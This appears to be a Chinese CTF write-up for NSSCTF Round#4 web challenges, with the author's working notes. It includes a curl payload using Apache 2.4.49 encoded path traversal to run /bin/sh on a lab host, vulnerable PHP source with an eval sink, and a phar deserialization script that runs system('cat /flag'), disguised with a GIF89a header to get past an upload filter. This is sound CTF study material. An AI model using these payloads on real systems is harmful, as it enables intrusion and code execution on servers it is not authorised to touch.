• NSSCTF Round#4


    1zweb

     打开界面感觉这道题和上一个一样,有查询文件的功能,直接查询flag,签到

    ez_rce

    打开界面各种看,源码啥都没有

    然后抓包看一下配置, 

    搜一下有,2.4.49有目录遍及的漏洞,和以前做的一道题几乎一样

    远程代码执行

    curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'  

    看见flag_is_here,以为就要成功了,可是怎么都得不到 

     

    内心想的是是不是故意给出flag的文件,然后真的却不在这里面呢 

    步骤没错,可是缺乏考虑,wp中说,这里制造了一个文件夹迷宫,仅存在四层

    需要bp爆破,因为没环境不好构造,给出链接

    NSSCTF

    1zweb(revenge)

     额看到查询文件,就查一下源码

    1. ljt="ljt";
    2. $this->dky="dky"; phpinfo(); }
    3. public function __destruct()
    4. { if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); }
    5. public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } }
    6. $file=$_POST['file']; if(isset($_POST['file']))
    7. { if (preg_match("/flag/i", $file)) { die("nonono"); }
    8. echo file_get_contents($file); }

    感觉不太完整,也没反序列化,脑子里第一想的会不会是构建一个phar包,自动实现序列化这种

    以上都是自己的分析,看完wp

    1. class LoveNss{
    2. public $ljt;
    3. public $dky;
    4. public $cmd;
    5. public function __construct(){
    6. $this->ljt="ljt";
    7. $this->dky="dky";
    8. phpinfo();
    9. }
    10. public function __destruct(){
    11. if($this->ljt==="Misc"&&$this->dky==="Re")
    12. eval($this->cmd);
    13. }
    14. public function __wakeup(){
    15. $this->ljt="Re";
    16. $this->dky="Misc";
    17. }
    18. }
    19. $file=$_POST['file'];
    20. if(isset($_POST['file'])){
    21. if (preg_match("/flag/i", $file)) {
    22. die("nonono");
    23. }
    24. echo file_get_contents($file);
    25. }

    为什么我的不是完整的呢,可能在源码完整。

       if($this->ljt==="Misc"&&$this->dky==="Re")这样那肯定,就是

    lit=Misc dky=Re

      public function __construct(){
            $this->ljt="ljt";
            $this->dky="dky";
            phpinfo();
        }这里面构建就会出现,而反序列化会在后面赋值覆盖掉

      public function __wakeup(){
            $this->ljt="Re";
            $this->dky="Misc";
        }这里冲突,应该会绕过wakeup,大于属性个数,

    这样看就是构造phar包

    1. unlink('phar.phar');
    2. class LoveNss{
    3. public $ljt;
    4. public $dky;
    5. public $cmd;
    6. }
    7. $a=new LoveNss();
    8. $a->cmd="system('cat /flag');";
    9. $a->ljt="Misc";
    10. $a->dky="Re";
    11. $phar = new Phar('phar.phar');
    12. $phar->setStub('GIF89a'.'');
    13. $phar->setMetadata($a);
    14. $phar->addFromString('1.txt','dky');
    15. ?>

    然后phar访问

    1. if ($_FILES["file"]["error"] > 0){
    2. echo "上传异常";
    3. }
    4. else{
    5. $allowedExts = array("gif", "jpeg", "jpg", "png");
    6. $temp = explode(".", $_FILES["file"]["name"]);
    7. $extension = end($temp);
    8. if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){
    9. $content=file_get_contents($_FILES["file"]["tmp_name"]);
    10. $pos = strpos($content, "__HALT_COMPILER();");
    11. if(gettype($pos)==="integer"){
    12. echo "ltj一眼就发现了phar";
    13. }else{
    14. if (file_exists("./upload/" . $_FILES["file"]["name"])){
    15. echo $_FILES["file"]["name"] . " 文件已经存在";
    16. }else{
    17. $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");
    18. fwrite($myfile, $content);
    19. fclose($myfile);
    20. echo "上传成功 ./upload/".$_FILES["file"]["name"];
    21. }
    22. }
    23. }else{
    24. echo "dky不喜欢这个文件 .".$extension;
    25. }
    26. }
    27. ?>

    后缀必须是图片,且内容不能出现phar标志

    可以压缩zip绕过

      $phar = new Phar('phar.phar');来判断文件的名称 

    上传后用phar伪协议读取,格式phar://文件上传的路径.phar.phar               自己设置的名称

  • 相关阅读:
    Note_First:Hadoop安装部署与测试
    C语言经典100例题(51-54)--学习使用按位与& ,按位或 |,按位异或 ^和按位取反~
    linux nuget packages path
    组合数学笔记-排列与组合
    什么是NLP-自然语言处理
    zookeeper应用之分布式屏障
    java基于SpringBoot+Vue的家具销售商城系统 element 前后端分离
    GPT的优势和GPT缺点
    Linux系统
    Python 实验四 面向对象程序设计
  • 原文地址:https://blog.csdn.net/qq_62046696/article/details/126139588